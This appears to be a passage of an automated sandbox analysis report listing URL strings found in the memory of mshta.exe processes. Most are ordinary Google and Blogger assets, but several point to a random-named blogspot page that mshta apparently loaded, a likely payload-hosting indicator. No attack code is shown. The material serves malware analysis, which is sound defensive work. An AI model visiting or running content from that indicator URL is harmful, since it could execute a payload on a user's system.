Source: mshta.exe, 00000010.00000003.480825213.00000000031CC000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.482406436.00000000031D2000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.483443225.00000000031DB000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.477560747.00000000031C5000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.480117969.00000000031C9000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.482159888.00000000031D1000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.481578062.00000000031CF000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.479303434.00000000031C7000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.482886004.00000000031D5000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.478912249.00000000031C6000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.483356824.00000000031D9000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.479707755.00000000031C8000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.483551451.00000000031DD000.00000004.00000001.sdmp String found in binary or memory: https://kdaoskdokaodkwldld.blogspot.com/p/20.htmlhttps://kdaoskdokaodkwldld.blogspot.com/favicon.ico
Source: mshta.exe, 00000010.00000003.487941757.00000000053C6000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.498840545.00000000053C7000.00000004.00000001.sdmp String found in binary or memory: https://kdaoskdokaodkwldld.blogspot.com/p/O5
Source: mshta.exe, 00000010.00000003.486587992.0000000003975000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492246899.00000000053A0000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499573196.00000000059DF000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499598235.0000000005A21000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487054353.00000000054CE000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.486407027.000000000396D000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487956672.000000000539F000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.486923526.00000000054AA000.00000004.00000001.sdmp String found in binary or memory: https://kdaoskdokaodkwldld.blogspot.com/search
Source: mshta.exe, 00000010.00000002.495606399.0000000003DB5000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492607365.0000000003DB5000.00000004.00000001.sdmp String found in binary or memory: https://kdaoskdokaodkwldld.blogspot.com/tE
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp String found in binary or memory: https://keep.google.com/
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp String found in binary or memory: https://photos.google.com/?tab=jq&pageId=none
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp String found in binary or memory: https://podcasts.google.com/
Source: mshta.exe, 00000010.00000003.488249337.0000000005426000.00000004.00000001.sdmp String found in binary or memory: https://resources.blogblog.com/
Source: mshta.exe, 00000010.00000003.487534465.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499135390.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.488249337.0000000005426000.00000004.00000001.sdmp String found in binary or memory: https://resources.blogblog.com/Q
Source: mshta.exe, 00000010.00000002.493848235.000000000035E000.00000004.00000020.sdmp, mshta.exe, 00000010.00000003.488138060.000000000035E000.00000004.00000001.sdmp String found in binary or memory: https://resources.blogblog.com/blogblog/data/1kt/simple/body_gradient_tile_light.png
Source: mshta.exe, 00000010.00000002.495802577.0000000003E24000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487389102.0000000003E24000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.491962845.0000000003E24000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492321791.0000000003DD4000.00000004.00000001.sdmp String found in binary or memory: https://resources.blogblog.com/blogblog/data/1kt/simple/body_gradient_tile_light.png)
Source: mshta.exe, 00000010.00000002.493848235.000000000035E000.00000004.00000020.sdmp, mshta.exe, 00000010.00000003.488138060.000000000035E000.00000004.00000001.sdmp String found in binary or memory: https://resources.blogblog.com/blogblog/data/1kt/simple/body_gradient_tile_light.png.NET4.0E)J)~9
Source: mshta.exe, 00000010.00000002.493848235.000000000035E000.00000004.00000020.sdmp, mshta.exe, 00000010.00000003.488138060.000000000035E000.00000004.00000001.sdmp String found in binary or memory: https://resources.blogblog.com/blogblog/data/1kt/simple/body_gradient_tile_light.pngET4.0E)b)~9
Source: mshta.exe, 00000010.00000002.495547942.0000000003D97000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492570581.0000000003D97000.00000004.00000001.sdmp String found in binary or memory: https://resources.blogblog.com/blogblog/data/1kt/simple/body_gradient_tile_light.pngzD
Source: mshta.exe, 00000010.00000003.488183866.0000000000389000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.498749431.0000000005388000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492299410.0000000005388000.00000004.00000001.sdmp String found in binary or memory: https://resources.blogblog.com/blogblog/data/1kt/simple/gradients_light.png
Source: mshta.exe, 00000010.00000003.492607365.0000000003DB5000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492260124.00000000053A4000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487956672.000000000539F000.00000004.00000001.sdmp String found in binary or memory: https://resources.blogblog.com/blogblog/data/1kt/simple/gradients_light.png)
Source: mshta.exe, 00000010.00000003.488183866.0000000000389000.00000004.00000001.sdmp String found in binary or memory: https://resources.blogblog.com/blogblog/data/1kt/simple/gradients_light.pngL
Source: mshta.exe, 00000010.00000002.499320150.00000000054DC000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492032441.00000000054D8000.00000004.00000001.sdmp String found in binary or memory: https://resources.blogblog.com/blogblog/data/1kt/simple/gradients_light.pngight.pngt.com%2Fp%2F20.ht
Source: mshta.exe, 00000010.00000003.488183866.0000000000389000.00000004.00000001.sdmp String found in binary or memory: https://resources.blogblog.com/blogblog/data/1kt/simple/gradients_light.pngx
Source: mshta.exe, 00000010.00000002.495606399.0000000003DB5000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492607365.0000000003DB5000.00000004.00000001.sdmp String found in binary or memory: https://resources.blogblog.com/img/triangle_ltr.gif
Source: mshta.exe, 00000010.00000003.488183866.0000000000389000.00000004.00000001.sdmp String found in binary or memory: https://resources.blogblog.com/img/triangle_ltr.gif)
Source: mshta.exe, 00000010.00000002.495606399.0000000003DB5000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492607365.0000000003DB5000.00000004.00000001.sdmp String found in binary or memory: https://resources.blogblog.com/img/triangle_open.gif
Source: mshta.exe, 00000010.00000003.486854556.0000000005457000.00000004.00000001.sdmp String found in binary or memory: https://resources.blogblog.com/img/widgets/icon_contactform_cross.gif
Source: mshta.exe, 00000010.00000003.488183866.0000000000389000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.495606399.0000000003DB5000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492607365.0000000003DB5000.00000004.00000001.sdmp String found in binary or memory: https://resources.blogblog.com/img/widgets/s_bottom.png
Source: mshta.exe, 00000010.00000003.488183866.0000000000389000.00000004.00000001.sdmp String found in binary or memory: https://resources.blogblog.com/img/widgets/s_bottom.png)
Source: mshta.exe, 00000010.00000003.488183866.0000000000389000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.495606399.0000000003DB5000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492607365.0000000003DB5000.00000004.00000001.sdmp String found in binary or memory: https://resources.blogblog.com/img/widgets/s_top.png
Source: mshta.exe, 00000010.00000003.488183866.0000000000389000.00000004.00000001.sdmp String found in binary or memory: https://resources.blogblog.com/img/widgets/s_top.png)
Source: mshta.exe, 00000010.00000003.487458997.00000000053EB000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492363560.00000000053EA000.00000004.00000001.sdmp String found in binary or memory: https://s.ytimg.com
Source: mshta.exe, 00000005.00000002.437700955.000000000383F000.00000004.00000001.sdmp, mshta.exe, 00000005.00000002.437672314.00000000037E1000.00000004.00000001.sdmp, mshta.exe, 00000005.00000002.437680248.00000000037EC000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492557387.0000000003D8A000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.488183866.0000000000389000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.495504642.0000000003D6C000.00000004.00000001.sdmp String found in binary or memory: https://secure.comodo.com/CPS0
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp String found in binary or memory: https://stadia.google.com/
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp String found in binary or memory: https://translate.google.co.uk/?hl=de&tab=jT
Source: mshta.exe, 00000010.00000003.486854556.0000000005457000.00000004.00000001.sdmp String found in binary or memory: https://twitter.com/intent/tweet?text=
Source: mshta.exe, 00000010.00000003.487458997.00000000053EB000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492363560.00000000053EA000.00000004.00000001.sdmp String found in binary or memory: https://www.blogblog.com;
Source: mshta.exe, 00000010.00000003.486923526.00000000054AA000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com
Source: mshta.exe, 00000010.00000003.487534465.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499135390.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.488249337.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487907971.0000000003DDC000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487429096.0000000003DD5000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.495712903.0000000003DDD000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com/
Source: mshta.exe, 00000010.00000003.487495574.00000000053FB000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492416018.00000000053FB000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499026945.00000000053FB000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com/1%2
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com/?tab=jj
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499320150.00000000054DC000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492032441.00000000054D8000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487054353.00000000054CE000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.486923526.00000000054AA000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com/age-verification.g?blogspotURL=https://kdaoskdokaodkwldld.blogspot.com/p/20.
Source: mshta.exe, 00000010.00000002.495712903.0000000003DDD000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com/blogin.g?blogspotURL%3Dhttps://kdaoskdokaodkwldld.blogspot.com/p/20.html%26t
Source: mshta.exe, 00000010.00000003.486923526.00000000054AA000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com/blogin.g?blogspotURL=https%3A%2F%2Fkdaoskdokaodkwldld.blogspot.com%2Fp%2F20.
Source: mshta.exe, 00000010.00000003.487918793.00000000053D2000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com/blogin.g?blogspotURL=https://kdaoskdokaodkwldld.blogspot.com/p/20.html&t
Source: mshta.exe, 00000010.00000003.492607365.0000000003DB5000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492416018.00000000053FB000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499026945.00000000053FB000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com/blogin.g?blogspotURL=https://kdaoskdokaodkwldld.blogspot.com/p/20.html&type=
Source: mshta.exe, 00000010.00000003.487918793.00000000053D2000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com/dyn-css/authorization.css?targetBlogID=3903609419317699398&zx=5f07c876-e
Source: mshta.exe, 00000010.00000002.493629519.00000000002FE000.00000004.00000020.sdmp, mshta.exe, 00000010.00000003.487054353.00000000054CE000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487956672.000000000539F000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.486923526.00000000054AA000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com/dyn-css/authorization.css?targetBlogID=3903609419317699398&zx=5f07c876-ed15-
Source: mshta.exe, 00000010.00000003.486923526.00000000054AA000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com/feeds/3903609419317699398/posts/default
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499320150.00000000054DC000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492032441.00000000054D8000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487054353.00000000054CE000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.486923526.00000000054AA000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com/go/buzz
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499320150.00000000054DC000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492032441.00000000054D8000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487054353.00000000054CE000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.486923526.00000000054AA000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com/go/contentpolicy
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499320150.00000000054DC000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492032441.00000000054D8000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487054353.00000000054CE000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.486923526.00000000054AA000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com/go/devapi
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499320150.00000000054DC000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492032441.00000000054D8000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487054353.00000000054CE000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.486923526.00000000054AA000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com/go/devforum
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499320150.00000000054DC000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492032441.00000000054D8000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487054353.00000000054CE000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.486923526.00000000054AA000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com/go/discuss
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499320150.00000000054DC000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492032441.00000000054D8000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487054353.00000000054CE000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.486923526.00000000054AA000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com/go/helpcenter
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499320150.00000000054DC000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492032441.00000000054D8000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487054353.00000000054CE000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.486923526.00000000054AA000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com/go/privacy
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499320150.00000000054DC000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492032441.00000000054D8000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487054353.00000000054CE000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.486923526.00000000054AA000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com/go/terms
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499320150.00000000054DC000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492032441.00000000054D8000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487054353.00000000054CE000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.486923526.00000000054AA000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com/go/tutorials
Source: mshta.exe, 00000010.00000003.492299410.0000000005388000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.486923526.00000000054AA000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com/static/v1/jsbin/3101730221-analytics_autotrack.js
Source: mshta.exe, 00000010.00000002.495606399.0000000003DB5000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492607365.0000000003DB5000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com/static/v1/jsbin/3101730221-analytics_autotrack.jsogspot.com/p/20.html&type=b
Source: mshta.exe, 00000010.00000003.486923526.00000000054AA000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com/static/v1/jsbin/403901366-ieretrofit.js
Source: mshta.exe, 00000010.00000002.493890784.0000000000383000.00000004.00000020.sdmp, mshta.exe, 00000010.00000003.488171165.0000000000383000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com/static/v1/jsbin/403901366-ieretrofit.js.css
Source: mshta.exe, 00000010.00000003.486825572.0000000002D03000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com/static/v1/jsbin/403901366-ieretrofit.jsT
Source: mshta.exe, 00000010.00000003.492111127.000000000554F000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492008554.000000000543C000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487941757.00000000053C6000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487838982.0000000005436000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499611362.0000000007C50000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.498749431.0000000005388000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.498840545.00000000053C7000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492299410.0000000005388000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com/static/v1/v-css/281434096-static_pages.css
Source: mshta.exe, 00000010.00000003.487941757.00000000053C6000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.498840545.00000000053C7000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com/static/v1/v-css/281434096-static_pages.cssC:
Source: mshta.exe, 00000010.00000003.487838982.0000000005436000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487054353.00000000054CE000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.488991943.0000000002D0D000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.486923526.00000000054AA000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com/static/v1/widgets/1397508952-widgets.js
Source: mshta.exe, 00000010.00000002.495802577.0000000003E24000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487389102.0000000003E24000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.491962845.0000000003E24000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com/static/v1/widgets/1397508952-widgets.js903609419317699398&zx=5f07c876-ed15-4
Source: mshta.exe, 00000010.00000002.498749431.0000000005388000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492299410.0000000005388000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com/static/v1/widgets/1397508952-widgets.jspng
Source: mshta.exe, 00000010.00000002.498749431.0000000005388000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492299410.0000000005388000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com/static/v1/widgets/1397508952-widgets.jspng/P
Source: mshta.exe, 00000010.00000003.488171165.0000000000383000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492321791.0000000003DD4000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com/static/v1/widgets/1529571102-css_bundle_v2.css
Source: mshta.exe, 00000010.00000002.493890784.0000000000383000.00000004.00000020.sdmp, mshta.exe, 00000010.00000003.488171165.0000000000383000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com/static/v1/widgets/1529571102-css_bundle_v2.css6
Source: mshta.exe, 00000010.00000003.487534465.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487838982.0000000005436000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.com0
Source: mshta.exe, 00000010.00000003.487495574.00000000053FB000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492416018.00000000053FB000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499026945.00000000053FB000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.comC091
Source: mshta.exe, 00000010.00000003.480825213.00000000031CC000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.482406436.00000000031D2000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.477560747.00000000031C5000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.480117969.00000000031C9000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.482159888.00000000031D1000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.481578062.00000000031CF000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.479303434.00000000031C7000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.482886004.00000000031D5000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.478912249.00000000031C6000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.483356824.00000000031D9000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.479707755.00000000031C8000.00000004.00000001.sdmp String found in binary or memory: https://www.blogger.comlinkCopiedToClipboardShare
Source: mshta.exe, 00000010.00000002.499320150.00000000054DC000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492032441.00000000054D8000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487054353.00000000054CE000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.486923526.00000000054AA000.00000004.00000001.sdmp String found in binary or memory: https://www.blr.com/blogin.g?blogspotURL%3Dhttps://kda
Source: mshta.exe, 00000010.00000003.487534465.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499135390.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.488249337.0000000005426000.00000004.00000001.sdmp String found in binary or memory: https://www.google-analytics.com/#
Source: mshta.exe, 00000010.00000003.487534465.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499135390.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.488249337.0000000005426000.00000004.00000001.sdmp String found in binary or memory: https://www.google-analytics.com/.
Source: mshta.exe, 00000010.00000003.487534465.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499135390.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.488249337.0000000005426000.00000004.00000001.sdmp String found in binary or memory: https://www.google-analytics.com/A
Source: mshta.exe, 00000010.00000003.487534465.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499135390.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.488249337.0000000005426000.00000004.00000001.sdmp String found in binary or memory: https://www.google-analytics.com/_
Source: mshta.exe, 00000010.00000003.486923526.00000000054AA000.00000004.00000001.sdmp String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: mshta.exe, 00000010.00000003.487128706.00000000054C3000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499301261.00000000054CC000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487896076.00000000054CB000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.486923526.00000000054AA000.00000004.00000001.sdmp String found in binary or memory: https://www.google-analytics.com/analytics.js88
Source: mshta.exe, 00000010.00000003.487495574.00000000053FB000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492416018.00000000053FB000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499026945.00000000053FB000.00000004.00000001.sdmp String found in binary or memory: https://www.google-analytics.com/analytics.jsc
Source: mshta.exe, 00000010.00000003.487128706.00000000054C3000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499301261.00000000054CC000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487896076.00000000054CB000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.486923526.00000000054AA000.00000004.00000001.sdmp String found in binary or memory: https://www.google-analytics.com/analytics.jsl
Source: mshta.exe, 00000010.00000003.487907971.0000000003DDC000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487429096.0000000003DD5000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.495712903.0000000003DDD000.00000004.00000001.sdmp String found in binary or memory: https://www.google-analytics.com/analytics.jsmitter
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp String found in binary or memory: https://www.google.co.uk/intl/de/about/products?tab=jh
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp String found in binary or memory: https://www.google.co.uk/save
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp String found in binary or memory: https://www.google.co.uk/shopping?hl=de&source=og&tab=jf
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp String found in binary or memory: https://www.google.com
Source: mshta.exe, 00000010.00000002.498883491.00000000053D3000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.495606399.0000000003DB5000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492607365.0000000003DB5000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487918793.00000000053D2000.00000004.00000001.sdmp String found in binary or memory: https://www.google.com/
Source: mshta.exe, 00000010.00000002.498883491.00000000053D3000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487918793.00000000053D2000.00000004.00000001.sdmp String found in binary or memory: https://www.google.com/1
Source: mshta.exe, 00000010.00000002.495606399.0000000003DB5000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492607365.0000000003DB5000.00000004.00000001.sdmp String found in binary or memory: https://www.google.com/Ltd1
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp String found in binary or memory: https://www.google.com/chrome/?brand=CHZO&utm_source=google.com&utm_medium=desktop-app-launc
Source: mshta.exe, 00000010.00000003.488249337.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487838982.0000000005436000.00000004.00000001.sdmp String found in binary or memory: https://www.google.com/css/maia.css
Source: mshta.exe, 00000010.00000003.487534465.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487838982.0000000005436000.00000004.00000001.sdmp String found in binary or memory: https://www.google.com/css/maia.css/
Source: mshta.exe, 00000010.00000003.488249337.0000000005426000.00000004.00000001.sdmp String found in binary or memory: https://www.google.com/css/maia.css07v
Source: mshta.exe, 00000010.00000003.487534465.0000000005426000.00000004.00000001.sdmp String found in binary or memory: https://www.google.com/css/maia.css07~t
Source: mshta.exe, 00000010.00000003.487534465.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487838982.0000000005436000.00000004.00000001.sdmp String found in binary or memory: https://www.google.com/css/maia.cssG
Source: mshta.exe, 00000010.00000003.488183866.0000000000389000.00000004.00000001.sdmp String found in binary or memory: https://www.google.com/css/maia.cssily=Open
Source: mshta.exe, 00000010.00000003.487534465.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.488249337.0000000005426000.00000004.00000001.sdmp String found in binary or memory: https://www.google.com/css/maia.csspace
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp String found in binary or memory: https://www.google.com/finance?tab=je
Source: mshta.exe, 00000010.00000003.487458997.00000000053EB000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492363560.00000000053EA000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.488262903.00000000053A3000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492260124.00000000053A4000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487956672.000000000539F000.00000004.00000001.sdmp String found in binary or memory: https://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp String found in binary or memory: https://www.google.com/travel/?dest_src=al
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499320150.00000000054DC000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492032441.00000000054D8000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487054353.00000000054CE000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.486923526.00000000054AA000.00000004.00000001.sdmp String found in binary or memory: https://www.google.de/contact/impressum.html
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp String found in binary or memory: https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Source: mshta.exe, 00000010.00000002.499611362.0000000007C50000.00000004.00000001.sdmp String found in binary or memory: https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_dark_clr_74x24px.svg
Source: mshta.exe, 00000010.00000002.499611362.0000000007C50000.00000004.00000001.sdmp String found in binary or memory: https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_light_clr_74x24px.svg
